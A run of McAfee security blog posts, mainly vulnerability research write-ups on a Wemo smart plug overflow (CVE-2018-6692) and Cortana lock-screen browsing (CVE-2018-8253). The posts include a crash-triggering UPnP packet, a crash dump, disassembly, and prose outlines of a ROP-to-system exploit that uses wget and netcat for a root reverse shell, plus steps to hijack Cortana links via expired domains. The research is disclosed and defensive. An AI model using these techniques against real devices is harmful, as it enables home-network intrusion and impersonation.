Fortunately, Epic Games is already on the case. The major video game company has already released version 2.1.0 of this application, which patches this vulnerability. However, Fortnite users must still take a few important security steps of their own in order to protect themselves from this attack. If you’re a Fortnite gamer, be sure to follow these tips:

  • Update, update, update. No matter the application, it can’t be stressed enough how important it is to always update your app as soon as an update is available. Patches (like the one released by Epic Games) are typically included with every update.
  • Clean house. Given this hack relies on preexisting malicious apps a victim’s phone, do your due diligence and clean up the applications on your device. This means deleting any old apps you don’t use, or ones that you may have downloaded from outside an official app store. If you’re unsure if an application is secure or not, do some research – conduct a quick google search or scan through the app’s review section on an app store and see if it has had any issues with security.
  • Use a mobile security solution. As app vulnerabilities such as this one continue to impact mobile users, make sure your devices are prepared for any threat coming their way. To do just that, cover these devices with a mobile security solution, such as McAfee Mobile Security.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Attention Fortnite Fans: The New Android App Was Found Containing a Massive Vulnerability appeared first on McAfee Blogs.

McAfee Opens State-of-the-Art Security Research Lab in Oregon

McAfee’s Advanced Threat Research team has operated from several locations around the world for many years. Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland. Although we have smaller labs in other locations, the new McAfee Advanced Threat Research Lab was created to serve two purposes. First, it gives our talented researchers an appropriate work space with access to high-end hardware and electronics for discovery, analysis, automation, and exploitation of vulnerabilities in software, firmware, and hardware. Second, the lab will serve as a demo facility, where the Advanced Threat Research team can showcase current research and live demos to customers or potential customers, law enforcement partners, academia, and even vendors.

The lab has been a labor of love for the past year, with many of the team members directly contributing to the final product. Visitors will have the unique opportunity to experience live and recorded demos in key industry research areas, including medical devices, autonomous and connected vehicles, software-defined radio, home and business IoT, blockchain attacks, and even lock picking! Our goal is to make vulnerability research a tangible and relatable concept, and to shed light on the many security issues that plague nearly every industry in the world.

Much of the research highlighted in the lab has been disclosed by McAfee. Links to recent disclosures from the Advanced Threat Research team:

Articles

Podcasts

Security researcher Douglas McKee prepares his demo of hacking a medical patient’s vitals. 

Onsite visitors will have the opportunity to solve a unique, multipart cryptographic challenge, painted on our custom mural wall in the lab. Those who are successful will receive an Advanced Threat Research team challenge coin! We will soon have an official video from the lab’s opening event online.

The post McAfee Opens State-of-the-Art Security Research Lab in Oregon appeared first on McAfee Blogs.

McAfee ATR Team Discovers New IoT Vulnerability in Wemo Insight Smart Plugs

From connected baby monitors to smart speakers — IoT devices are becoming commonplace in modern homes. Their convenience and ease of use make them seem like the perfect gadgets for the whole family, but their poor security standards also make them conveniently flawed for someone else: cybercriminals. As a matter of fact, our McAfee Labs Advanced Threat Research team has uncovered a flaw in one of these IoT devices: the Wemo Insight Smart Plug, which is a Wi-Fi–connected electric outlet.

Once our research team figured out how exactly the device was vulnerable, they leveraged the flaw to test out a few types of cyberattacks. The team soon discovered an attacker could leverage this vulnerability to turn off or overload the switch. What’s more – this smart plug, like many vulnerable IoT devices, creates a gateway for potential hackers to compromise an entire home Wi-Fi network. In fact, using the Wemo as a sort of “middleman,” our team leveraged this open hole in the network to power a smart TV on and off.

Now, our researchers have already reported this vulnerability to Belkin on May 21st. However, regardless if you’re a Wemo user or not, it’s still important you take proactive security steps to safeguard all your IoT devices. Start by following these tips:

  • Keep security top of mind when buying an IoT device. When you’re thinking of making your next IoT purchase, make sure to do your research first. Start by looking up the device in question’s security standards. A simple Google search on the product, as well as the manufacturer, will often do the trick.
  • Change default passwords and do an update right away. If you purchase a connected device, be sure to first and foremost change the default password. Default manufacturer passwords are rather easy for criminals to crack. Also, your device’s software will need to be updated at some point. In a lot of cases, devices will have updates waiting from them as soon as they’re taken out of the box. The first time you power up your device, you should check to see if there are any updates or patches from the manufacturer.
  • Keep your firmware up-to-date. Manufacturers often release software updates to protect against these potential vulnerabilities. Set your device to auto-update, if you can, so you always have the latest software. Otherwise, just remember to consistently update your firmware whenever an update is available.
  • Secure your home’s internet at the source. These smart home devices must connect to a home Wi-Fi network in order to run. If they’re vulnerable, they could expose your network as a result. Since it can be challenging to lock down all the IoT devices in a home, utilize a solution like McAfee Secure Home Platform to provide protection at the router-level.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post McAfee ATR Team Discovers New IoT Vulnerability in Wemo Insight Smart Plugs appeared first on McAfee Blogs.

‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product

Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report. 

The Internet of Things promises to make our lives easier. Want to remotely turn lights and appliances on and off and monitor them online? A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method. But IoT devices can turn into attack vectors if they are not properly secured.

The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help their developers provide safer products for businesses and consumers. We recently investigated a consumer product produced by Belkin. Our research into the Wemo Insight Smart Plug led to the discovery of an unreported buffer overflow in the libUPnPHndlr.so library. This flaw, CVE-2018-6692, allows an attacker to execute remote code. Following our responsible disclosure policy, we reported this research to Belkin on May 21.

Can this vulnerability lead to a useful attack? A smart plug by itself has a low impact. An attacker could turn off the switch or at worst possibly overload the switch. But if the plug is networked with other devices, the potential threat grows. The plug could now be an entry point to a larger attack. Later in this report, we will look at one possible attack.

Exploring the attack surface

Following the manual’s advice, the team used the Wemo phone application to set up the smart plug. We were able to remotely turn the outlet on and off. We then tested the software, including port scanning, monitoring normal network traffic, and reading online research. The Wemo listens on Universal Plug and Play (UPnP) ports TCP 49152 and 49153. The manuals, disassembly images, and the general-purpose programming language (GPL) were all online; they provided information on CPU architecture, the operating system, and applications.

We turned to the hardware and disassembled the device. We identified chips on the main board, found headers for communicating with the device, and pulled the memory off flash. Our online research provided datasheets for each of the chips on the board.

We found universal asynchronous receiver-transmitter (UART) pads on the board and confirmed them with the documentation. We soldered wires to these headers to discover if they were actively transmitting. To test communication with the device, we used an Exodus XI Breakout board, shown below:

After brute-forcing the baud rate, we were able to get debug information via the UART interface. The UART also provided a login prompt; however, neither online research nor simple guessing led us to a working password.

Extraction and firmware analysis

The flash chip discovered on the board was a Maxronix MX25L12835F, which is supported by flashrom, a well-known open-source tool for extracting firmware. Using flashrom and the XI Breakout board, we extracted the firmware from the Wemo device. After we obtained the original firmware image shipped with the device, we updated it using the Wemo mobile application. Once the device was updated, we again extracted the firmware from the device, providing us with a second image. We ran basic sanity checks with the new firmware to ensure our earlier software reconnaissance had not changed.

With the firmware extracted, we analyzed the firmware using binwalk, an open-source binary analysis tool. Binwalk extracted the file system from the firmware for further inspection. Access to the file system allowed us to review system configuration and access binaries.

Finding a vulnerability 

Network or remote vulnerabilities are more dangerous than local flaws, so we took a close look at the UPnP ports listening on the local network. During this testing phase our lead analyst was taking a class on Exodus Intelligence Embedded Exploitation. One of the class instructors, Elvis Collado (@b1ack0wl) was developing a UPnP fuzzer and offered to assist our efforts. Using this tool we started fuzzing the open UPnP ports, while monitoring the UART interface on the Wemo. After a short time we saw a crash on the UART interface.

11:37:16.702 stuntsx0x46ac6 STUN client transaction destroyed
sending SIGSEGV to wemoApp for invalid write access to
464d4945 (epc == 2ac1fb58, ra == 2ac1fccc)
Cpu 0
$ 0 : 00000000 00000001 0000006d 464d4945
$ 4 : 31d2e654 31d2e770 00000003 00000001
$ 8 : 0000007c fffffff8 00000007 00000002
$12 : 00000200 00000100 00000807 00000800
$16 : 31d2e6f0 31d2e898 004a1cb8 00000002
$20 : 31d2e638 31d2e6c0 004a1388 31d2e640
$24 : 00000400 2ac1fb30
$28 : 2ac77d40 31d2e600 31d2e648 2ac1fccc
Hi : 00000008
Lo : 00000000
epc : 2ac1fb58 Tainted: P
ra : 2ac1fccc Status: 0100fc13 USER EXL IE
Cause : 8080000c
BadVA : 464d4945
PrId : 0001964c
Modules linked in: softdog rt_rdm rt2860v2_ap(P) raeth
Process wemoApp (pid: 2157, threadinfo=80fa0000, task=802c87f0)
Stack : 2a0000d0 fffffffe 31d2e6f0 31d2e770 31d2e76f 31d2e6f0 31d2e6f0 31d2e770
00000000 31d2e604 00000000 00000000 2ac77d40 00000000 4f464751 4a484d4c
4e444241 47454f49 50464658 45414d42 43445044 464d4945 5552414c 46495048
4b524141 41445a4f 44534e4a 4e4e494c 44434357 494a4855 44515455 44494b45
55584a44 584e4f52 545a5247 51545954 595a4c42 4e594a45 484f5158 46474944

Call Trace:

Code: 80a20000 50480004 a0600000 <5440fffa> a0620000 a0600000 10a00006 24840004 24a50001
thready: Destructor freeing name “ChildFDTask”.
Aborted

After repeating and closely observing the experiment several times, we determined that the crash was caused by the following packet:

POST /upnp/control/basicevent1 HTTP/1.1
Host: 192.168.225.183:49154
User-Agent: python-requests/2.9.1
Accept: */*
Connection: keep-alive
SOAPAction: “urn:Belkin:service:basicevent:1#UpdateInsightHomeSettings”
Content-Type: text/xml
Accept-Encoding: gzip, deflate
Content-Length: 3253

<?xml version=”1.0″ ?><s:Envelope s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><b1ack0wl_ns:UpdateInsightHomeSettingsxmlns:b1ack0wl_ns=”urn:Belkin:service:basicevent:1″><EnergyPerUnitCost>210</EnergyPerUnitCost><Currency>236</Currency><EnergyPerUnitCostVersion>KWWZWIVYBQZKDGSSAAPBCQVQQFAVYZEOEUFIDXXQPDYGESTOD
GIJFERXZNMYAFJQLUZPSIJXFQSPADCRIVHDAJLLPQMPLAVECIQUWLXDLIGPLBKCROGPOCVUI
KTSLIIXULOEBVFKWIERCFGHWHCBBDLWFBKBZXAVGRKTDALDNRPOFQJDXAEOC(…snip…)XHU
OUZPCHUBFGLLWSJBFYFOMCGZZMJIQIUVCDETFBRBZVDVKNBVZFBRSVBSZPAYKZYNQZEQPDV
DWSZNDUPUDCPAVWNFBFBTYMXTBNCWTBJPKORUBHBSCQBPOPOBZNVADMGWRI
</EnergyPerUnitCostVersion></b1ack0wl_ns:UpdateInsightHomeSettings></s:Body></s:Envelope>

For space reasons some of the payload has been removed. (The original data in “EnergyPerUnitCostVersion” was 2,828 characters.) After examining the crash data and the packet, this appears to be a standard buffer overflow, in which data is being overwritten onto the stack. We continued fuzzing, now focused on the “EnergyPerUnitCost” field and found we needed only 32 characters to crash the application.

Although the crash dump provides us with a lot of good information, there is still a lot we do not know. For example, the crash occurs in the “WemoApp” and provides us an offset, but what is the base address of this library? What has been overwritten on the stack? Without access to the application during runtime these questions are difficult to answer. Because we obtained the file system earlier, we could statically analyze the WemoApp binary; but we would still be unable to determine the exact point of the crash easily.

To answer these questions we needed to take one of two paths. We could virtualize the Wemo firmware or binary to continue testing; or if we could determine the root password on the UART interface, there is a chance we could debug on the device itself. Generally, virtualizing firmware is not simple and can sometimes lead to inaccurate test results. It is better to debug on the device. With all the information we found during reconnaissance, it seemed promising that we could bypass the root password. (We did spend some time attempting to virtualize the WemoApp—with no success.)

Bypassing the root password

From the extracted file system, we learned the Wemo runs the embedded Linux system OpenWRT, with the user account information held in either the standard /etc/passwd or /etc/shadow files. We extracted the hash for the root password from /etc/passwd and submitted it to a cracking rig. This method proved ineffective in a reasonable amount of time.

With our ability to read the flash chip we had a good chance to write to the chip. Barring any checksum or validations done on the firmware, we might be able to replace the /etc/passwd file with a known password.

To test this theory, we would have to repack the firmware. Since the GPL for the Wemo is public, we chose to use the same tools used by the developers. Using the GPL, we compiled the same version of squash tools 3.0 with Izma and repackaged the firmware file system with a modified /etc/passwd file. We added padding to ensure the firmware section was the same size as the original. We then used “dd” to insert the new file system segment into the firmware binary. During this process, we discovered that using binwalk to extract the firmware prevented us from correctly repackaging the firmware. We used “dd” with the information provided by binwalk to extract the correct section of the firmware binary for repackaging.

With a new firmware binary in hand, we used the XI Breakout board and flashrom to write the firmware to the flash chip on the board. After rebooting the device, we were able to log in using the new password.

Analyzing the crash 

With root access on the Wemo, we could gather more information about the crash during the UPnP fuzzing. First, we needed to compile the tools required to perform more in-depth analysis for this specific architecture. Using the GPL, we compiled gdbserver and gdb for the device. The Wemo had a large amount of installed tools, such as “wget,” making it simple to add files. We downloaded and executed the tools from the /tmp directory.

After a large amount of trying, we failed to get gdb running directly or remotely with the device. So we used gdbserver, in conjunction with Interactive Disassembler Pro, for all debugging. With the debugger connected, we sent the packet causing the crash and saw the exact location of the crash. A segmentation fault occurred at address 0x2AC15B98. From the memory layout from the Linux “proc” directory, we determined his memory address resides in library libUPnPHndlr.so.

2abf3000-2ac4d000 r-xp 00000000 1f:02 82 /rom/lib/libUPnPHndlr.so

Because the crash was caused by a UPnP packet, it was logical to find the crash inside this library . With the base address 0x2abf3000, we calculated the offset for static analysis in IDA to be 0x22b98.  At this address, we found the following:

LOAD:00022B70  # =============== S U B R O U T I N E =======================================

LOAD:00022B70

LOAD:00022B70

LOAD:00022B70                 .globl TokenParser

LOAD:00022B70 TokenParser:                             # CODE XREF: ProcessEnergyPerunitCostNotify+84↓p

LOAD:00022B70                                          # DATA XREF: LOAD:00004210↑o …

LOAD:00022B70                 beqz    $a1, locret_22BC0

LOAD:00022B74                 move    $a3, $zero

LOAD:00022B78                 move    $a3, $zero

LOAD:00022B7C                 b       loc_22BB4

LOAD:00022B80                 li      $t0, 0x7C  # ‘|’

LOAD:00022B84  # —————————————————————————

LOAD:00022B84

LOAD:00022B84 loc_22B84:                               # CODE XREF: TokenParser+28↓j

LOAD:00022B84                 addiu   $a1, 1

LOAD:00022B88                 addiu   $v1, 1

LOAD:00022B8C

LOAD:00022B8C loc_22B8C:                               # CODE XREF: TokenParser+48↓j

LOAD:00022B8C                 lb      $v0, 0($a1)

LOAD:00022B90                 beql    $v0, $t0, loc_22BA4

LOAD:00022B94                 sb      $zero, 0($v1)

LOAD:00022B98                 bnezl   $v0, loc_22B84

LOAD:00022B9C                 sb      $v0, 0($v1)

LOAD:00022BA0                 sb      $zero, 0($v1)

LOAD:00022BA4

LOAD:00022BA4 loc_22BA4:                               # CODE XREF: TokenParser+20↑j

LOAD:00022BA4                 beqz    $a1, locret_22BC0

LOAD:00022BA8                 addiu   $a0, 4

LOAD:00022BAC                 addiu   $a1, 1

LOAD:00022BB0                 addiu   $a3, 1

LOAD:00022BB4

LOAD:00022BB4 loc_22BB4:                               # CODE XREF: TokenParser+C↑j

LOAD:00022BB4                 slt     $v0, $a3, $a2

LOAD:00022BB8                 bnezl   $v0, loc_22B8C

LOAD:00022BBC                 lw      $v1, 0($a0)

LOAD:00022BC0

LOAD:00022BC0 locret_22BC0:                            # CODE XREF: TokenParser↑j

LOAD:00022BC0                                          # TokenParser:loc_22BA4↑j

LOAD:00022BC0                 jr      $ra

LOAD:00022BC4                 move    $v0, $a3

LOAD:00022BC4  # End of function TokenParser

 

Because the developers left the binary unstripped, we can name this function TokenParser. The segmentation fault occurs at a branch instruction; however, in MIPS the delay instruction is executed before the branch occurs. Thus the instruction at 0x22B9C is causing the crash. Here the application attempts to load what is at the address stored in $v1 and place it in $v0. Taking a look at the registers, we find the data from our packet in XML tags “EnergyPerUnitCostVersion” is in $v1, leading to an “invalid write access” segmentation fault error.

After statically analyzing the function, it appears to copy data from one section to another, looking three times for a 0x7C or “|” character. If it never finds the “|,” it keeps copying into a statically defined buffer. To fully understand why the overwrite occurs, let’s take a look at the stack as we step through the function:

2EF17630 2AC692F0 MEMORY:2AC692F0
2EF17634 00000000 MEMORY:saved_fp
2EF17638 34333231 MEMORY:34333231 ← previously copied data
2EF1763C 00000035 MEMORY:retaddr+31  ← next byte will be written at 0x2EF1763D
2EF17640 00000000 MEMORY:saved_fp  ← zeroed out memory prepared for the copy
2EF17644 00000000 MEMORY:saved_fp
2EF17648 00000000 MEMORY:saved_fp
2EF1764C 00000000 MEMORY:saved_fp
2EF17650 2EF17638 MEMORY:2EF17638 ← start writing at this address; can be overwritten

As the function copies data onto the stack, it eventually copies over the address for the original buffer. Once this address is overwritten, the function attempts to write the next byte at the new value, in this case is an invalid address. This overflow gives an attacker two exploitable vectors: a write-what-where condition allows an attacker to write data to an arbitrary location in memory; by continuing to overwrite data on the stack, an attacker can overwrite the $RA register or return address for the calling function, providing the attacker control of the execution flow.

Writing the exploit

Now that that we understand the vulnerability, can we exploit it? Because this is a standard buffer overflow, we need to answer two questions. How much room is available on the stack, and are there any “bad” bytes that cannot make it onto the stack? To determine the available room, we can examine how much of the payload makes it onto the stack if we repair the address overwritten on the stack with a valid address. We learned only 91 bytes can be written onto the stack.

The next step is to determine if there are any “bad” bytes. After running a few tests, we noticed that only ASCII characters can make it onto the stack. Before the vulnerable code is executed, the packet is parsed by the open-source XML parser “mxml.” This library follows the standard of allowing only ASCII and Unicode characters to exist between tags.

This standard is very problematic for both shellcode and return-oriented programming (ROP) techniques because both memory address and shellcode tend to use mostly nonreadable characters. We could use several techniques to combat room on the stack; however, due to the hard limitation on characters that will pass through the XML sanitization process, it would be best to use functions that are already loaded into memory. One method that does not require extensive shellcode is to use a “return to libc” attack to execute the system command. Because the system call typically takes a string as a parameter, this might pass through the filter. Because the Wemo does not use address space layout randomization, if we use ROP it would be theoretically possible to make a call to system without needing to pass additional shellcode through the XML filter.

We still face a major challenge: Only addresses comprising entirely ASCII characters can pass through the XML filter. This drastically limits the potential for finding usable gadgets. We used IDA to see where libc and system are loaded into memory, and found two implementations: in libuClibc-0.9.33.2.so at address 0x2B0C0FD4; and in libpthread-0.9.33.2.so at address 0x2AD104F4. However, neither of these addresses meet the requirements to pass through the XML filter. Thus even if we could create an ROP chain, we would not be able to send just the address for system in the packet.

Addresses with bad characters are not a new problem for exploit development. One of the most common bypasses is to use addition or subtraction ROP gadgets to create the required address in a register and call that register. Again, however, we face the limitation on which operands can be used for this addition or subtraction equation due to the XML filter.

After studying the memory layout, we discovered that libuClibc-0.9.33.2.so sits at a memory location with addresses that can bypass the XML filter. We were fortunate that this is a large library, providing a decent list of addresses, because it is the only library in such a space. With this discovery, the team created a tool to assist with the creation of this exploit. The tool pulls out all possible ROP gadgets with usable memory addresses and determines if an addition or subtraction equation could call one of the two system calls found in memory, using only the values that will bypass the filter. The address for system in libuClibc-0.9.33.2.so, 0x2B0C0FD4, did not have any usable operands. However, 0x2AD104F4 did. We found several “filter-proof” operands that when added together equaled 0x2AD104F4.

We employed our tool’s output for all possible ROP gadgets that bypass the filter to build an ROP chain, which uses an addition instruction to create the final address for system and stores it in $s0. After the addition, another gadget moves the address for system into $t9 and calls system. This final gadget also moves an address that can be controlled from the stack into the register holding the parameter for the system call. The entire ROP chain consists of only three gadgets, which easily fit in the stack space provided by the buffer overflow. 

 

Piecing everything together 

Earlier we discovered two attack techniques that can be used with this vulnerability: a write-what-where, and overwriting the return address on the stack. Each packet sent can use each technique once. To get a parameter to the system call, we must use write-what-where to place the parameter in a writable memory address and pass this address to system. Fortunately, this vulnerable application sets aside a large amount of writable memory that is never used, and in a range accessible to our limited set of addresses that bypass the filter. Unfortunately, the ROP chain that calls system requires the use of write-what-where to handle extra instructions in one of the ROP gadgets. This means that two packets are required to execute the exploit: one to write the parameter for system into memory, and a second to make the call to system. Thus it is important that the first packet exits cleanly and does not crash the program.

One way to execute cleanly is to use three well-placed pipes (“|”) inside the payload to stop writing and exit TokenParser at the appropriate time. It is also important to not overwrite the RA pointer so the program can continue normal execution after the packet is received. Then the second packet is sent containing the ROP chain calling system with the address of the parameter written by the previous packet. 

Payload 

With the discovery of a valid ROP chain that can call system, we must decide what system should call. Because system executes as root, we can gain complete control of the device. Our research has showed that the device has many Linux commands installed. We leveraged this earlier with wget to copy gdbserver to the device. An attacker could also call wget from system to download and execute any script. We explored further for installed applications and found NetCat, which could allow an attacker to write a script to create a reverse shell. An attacker could download a script using wget, and execute the script containing a NetCat command to create a reverse shell. We tested and proved this is one simple, effective method, opening a reverse shell as root. Attackers could choose many other methods to leverage this exploit and execute code. The following video demonstrates this exploit working with a reverse shell.

To illustrate, the team wrote an attack scenario. After the plug is compromised, it could use the built-in UPnP library to poke a hole in the network router. This hole creates a backdoor channel for an attacker to connect remotely, unnoticed on the network. In the following video, we used a remote shell to control a TCL smart TV connected to the network. The Roku API implementation on the TV uses simple unencrypted HTTP GET/POST requests to issue commands and does not authenticate the machine sending these commands, making remote control trivial. Using the Wemo as a middleman, the attacker can power the TV on and off, install or uninstall applications, and access arbitrary online content. Smart TVs are just one example of using the Wemo to attack another device. With the attacker having established a foothold on the network and able to open arbitrary ports, any machine connected to the network is at risk. Because attacks can be conducted through the Wemo and the port mappings generated using this exploit are not visible from the router’s administration page, the attacker’s footprint remains small and hard to detect.

Conclusion 

Discoveries such as CVE-2018-6692 underline the importance of secure coding practices on all devices. IoT devices are frequently overlooked from a security perspective; this may be because many are used for seemingly innocuous purposes such as simple home automation. However, these devices run operating systems and require just as much protection as desktop computers. A vulnerability such as we discovered could become the foothold an attacker needs to enter and compromise an entire business network.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through analysis and responsible disclosure, we aim to guide product manufacturers toward a more comprehensive security posture.

The post ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product appeared first on McAfee Blogs.

Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253

A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing. In the first case, the attacker can force Microsoft Edge to navigate to an attacker-controlled URL; in the second, the attacker can use a limited version of Internet Explorer 11 using the saved credentials of the victim.

In June we published our analysis of a full login bypass mechanism for all Windows 10 devices for which Cortana is enabled on the lock screen. (This is still the default option.) The discovery of the full login bypass was part of a wider research effort into what access the digital assistant Cortana might offer to an adversary when the device is locked. This post details these two additional issues; we reported them to Microsoft at the same time we reported the login bypass. The two new flaws have now been addressed as part of Microsoft’s August update. Some of the issues are also partially mitigated by modifying the answer obtained from a Bing search query.

In the first scenario, a Cortana privilege escalation leads to forced navigation on a lock screen. The vulnerability does not allow an attacker to unlock the device, but it does allow someone with physical access to force Edge to navigate to a page of the attacker’s choosing while the device is still locked. This is not a case of BadUSB, man in the middle, or rogue Wi-Fi, just simple voice commands and interacting with the device’s touchscreen or mouse.

Several months ago, researchers from Israel demonstrated a similar attack using a BadUSB device, masquerading as a network interface card to inject content into trusted HTTP sites while using Cortana to force navigation. Microsoft has since removed this ability to navigate directly to a domain and instead now opens a search in Bing over HTTPS to the domain in question. Some of our findings could also be combined with a BadUSB approach.

We explored whether one could still force navigation to an attacker-controlled page. In short, yes, one can, but it does take some extra effort.

Cortana is very helpful when it comes to defining terms, or looking up corporations, movies, artists, or athletes. She can even do math. However, Cortana’s behavior and the answers she gives are affected by the way you ask a question. For example, if you were to ask the colloquial question “Hey Cortana, what is McAfee?” you would get a quick answer directly from a Bing search. If, however, you asked only “Hey Cortana, McAfee,” you would receive a more detailed response, including links to various trusted sites. These include Wikipedia, Twitter, Facebook, LinkedIn, and the “official website” (more later on this important link).

Cortana’s answers to similar but not identical queries about “McAfee.”

It is surprising that links are offered and clickable when the device is locked. If you start your favorite network sniffer or man-in-the-middle proxy, you will see that the links are visited as soon as the user clicks on them, irrespective of the device’s locked status.

This means we can force navigation to a website (though not yet the one we want) when the device is locked. However, we have seen that Cortana can be picky in how she offers results. Bing must already know these results, and most links are known trusted sites.

That leaves us with the official website. You might recognize this terminology: It is a common link presented by Wikipedia. If you look at the bottom of a Wikipedia article, you will often find a link to an official website.

Could Cortana just use Wikipedia as a trusted source? After a few delightful conversations with her, we can confirm that the official website for items she refers from Wikipedia is indeed the same as the Official Website link on Wikipedia. There is no one-to-one correlation on Wikipedia’s official website for Cortana to display the corresponding link. We assume there is some possible weighting of the domain name or logic in the Bing output that influences Cortana’s displayed links.

We can leverage this information to craft a fake Wikipedia entry, add enough content to get the review to succeed, add an official website link, and see what Cortana presents. Wikipedia reviewers do a pretty good job of vetting content, but we also need Bing to become aware of the entry so that Cortana could offer the answer and the link. Because of the time-dependent factor of the approach (and the ethical aspect of tampering with Wikipedia content in a malicious way), we decided to take a different path—although others could use this attack vector.

Instead of creating an entry in Wikipedia, making sure that Bing indexes it and that Cortana provides the official website link, we opted for an alternative. We can instead hunt Wikipedia for unmaintained or dead official website links. Fortunately for us, Wikipedia maintains a list of “dead links” and “permanent dead links.” A search for “Xbox Linux” looks like this:

To aid in our hunt, Wikipedia has a fairly robust search engine that accepts regular expressions.

With just a little bit of tinkering we come up with the following search:

insource:/\{official (website)?\|https?\:\/\/[^}]+\.com\/[^}]\}\}\{\{dead link/

This is neither an exhaustive list, nor the most efficient regular expression, but it does find some candidates without triggering the Wikipedia query timeout.

The next step is to write a script to parse the output, grab a list of domains, and check whether they are actually vacant. Many of them are still registered but do not serve any content; others are live despite the “dead link” tag. We end up with a list of domains, some more expensive than others, that are vacant.

What will Cortana display for each of these Wikipedia entries? One after another, we ask. Retrospectively, writing a text-to-speech script would have been faster. Cortana answers surprisingly well to other digital speech synthesizers.

Many of the entries do not provide the official website link, but some do. It is annoying that the way you ask the question interferes with the results. Not only is the phrasing of the question important; the decision of whether to dictate a word or spell it out may change the answer. To obtain the answer you want from Cortana, you may have to combine both approaches.

For example, we asked “Hey Cortana, what is Miss Aruba?” We saw, while the device was locked, the following answer:

The official website link points to “hxxp://www.missaruba.aw.” A quick search shows the domain is still available.

In conclusion, we now have Wikipedia articles for which Cortana will display an official website link, and for which the domain is available for purchase. After spending $11.99 for a cheaper domain, we own one.

Although it took some regular-expression authoring, some scripting, and buying a domain, this method was faster and more satisfying than waiting for Bing to publish and index a new Wikipedia entry.

After this setup, what can we accomplish? We can ask Cortana (either via the interactive icon or vocal command “Hey Cortana”) to conduct a search while the device is locked. When she replies, we can click on the official website link and observe as Edge retrieves the content while the device remains locked.  To put a malicious spin on this unauthorized access, we have at least one straightforward option. We could install the latest exploit kit on our newly acquired domain and infect any locked Windows 10 PC with Cortana enabled without ever logging in. This attack could occur at a coffee shop, retailer, bank, or against targeted individuals. This configuration is the default on Windows, and our research has shown that many users never disable Cortana from the lock screen.

Digital voice assistants can be useful, but they must also be considered an attack vector. Although some may think this is a “noisy” vector, not applicable when stealth is required, you can employ techniques such as the DolphinAttack, which uses inaudible voice commands to close an air gap. Or if you have physical access to the device, a $5 3.5mm-jack cable will do as well.

An inexpensive 3.5mm-jack cable for silent interaction.

How can we protect against this attack vector? You can disable Cortana on your lock screen. Microsoft should not allow navigation to untrusted websites until it receives permission from the authenticated user, confirming on login that the user wants to visit a site.

Self-service Internet Explorer from the Windows lock screen

When we investigate a technology, we sometimes find that our initial findings are less substantial than what we learn after further investigation. Our research into Cortana and this attack surface was no different. What if one could surf the web freely with a full-fledged browser such as Internet Explorer 11, with access to cached credentials and autocomplete on a locked Windows 10 device? All thanks to Cortana? That could be much more impactful than browsing to just one URL.

That is possible with Cortana’s skills. It makes sense that Cortana offers skills similar to those of Amazon’s Alexa or Google Assistant. But it does not make sense to offer these skills directly from the lock screen when they are not yet configured.

One example is the “Real Estate Search” skill. While conversing with Cortana to analyze the capabilities she could offer an attacker, we found that she occasionally offered to try skills, including Real Estate Search.

One easy trigger is to ask “Hey Cortana, I want to sell my house.” This leads to the following screen:

If we click “Real Estate Search,” we get a login screen. Instead of logging in, let’s look at the other links offered by the interface. In the current case, the “Privacy Policy” link seems interesting:

Cortana’s skill login screen with a link to Privacy Policy.

Opening the link, we see a lengthy policy. If we scroll to the bottom of the page, we discover a few social media icons:

Privacy policy screen with links to social media sites.

These icons are indeed links, allowing us to reach Facebook or YouTube, and from there the rest of the Internet:

Reaching Facebook from the lock screen of a Windows 10 system.

Let’s summarize. You left for lunch with your new Windows Surface Book locked on your desk. Cortana is on by default on your lock screen. Your disk is encrypted. What could go wrong?

Anybody who has physical access to your locked device can start browsing the web. What if someone were to navigate to a work-unfriendly website from your device, or post inflammatory comments in a public forum that could be attributed to your device’s IP address?

A device-specific attribution would be bad, but could you use the same method to post or access something from a real person’s name or account? We next investigated which browser is being used? Is it a Cortana custom browser? Is it a sandboxed Microsoft Edge? It is actually a customized Internet Explorer 11 restricted engine running in the context of AuthHost.exe. (We will publish another analysis on this limited “browser” because its properties and lack of security mechanisms could become handy for red teams.)

This is the Internet Explorer engine and not the full browser, though both JavaScript and cookies are enabled. Worse, this incarnation shares the autocomplete and credentials saved in the context of the current user’s Internet Explorer session.

Thus in addition to posting a comment on a public forum from another user’s device while the device is locked, you can also impersonate the user thanks to its cached credentials.

One potential attack scenario arises if a corporation offers a mechanism to reset Windows credentials via a web server but does not require users to reenter the old password. One could simply navigate to the reset link, input a new password, exit the limited navigator, and unlock the device with the newly set password, all from a locked computer.

We have explored a couple of attack scenarios and security issues in this post, and we will continue our investigation into Cortana and other digital assistants as an attack vector. Your best mitigation at this point is to turn off Cortana on the lock screen. Here is a good tutorial on how to do so.

 

The post Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 appeared first on McAfee Blogs.

80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals

The author thanks Shaun Nordeck, MD, for his assistance with this report.

With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it. The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data. McAfee’s Advanced Threat Research team is exploring these devices to increase awareness about their security.

Some medical devices, such as pacemakers and insulin pumps, have already been examined for security concerns. To help select an appropriate target for our research, we spoke with a doctor. In our conversations we learned just how important the accuracy of a patient’s vital signs is to medical professionals. “Vital signs are integral to clinical decision making” explained Dr. Shaun Nordeck. Bedside patient monitors and related systems are key components that provide medical professionals with the vital signs they need to make decisions; these systems are now the focal point of this research.

Exploring the attack surface

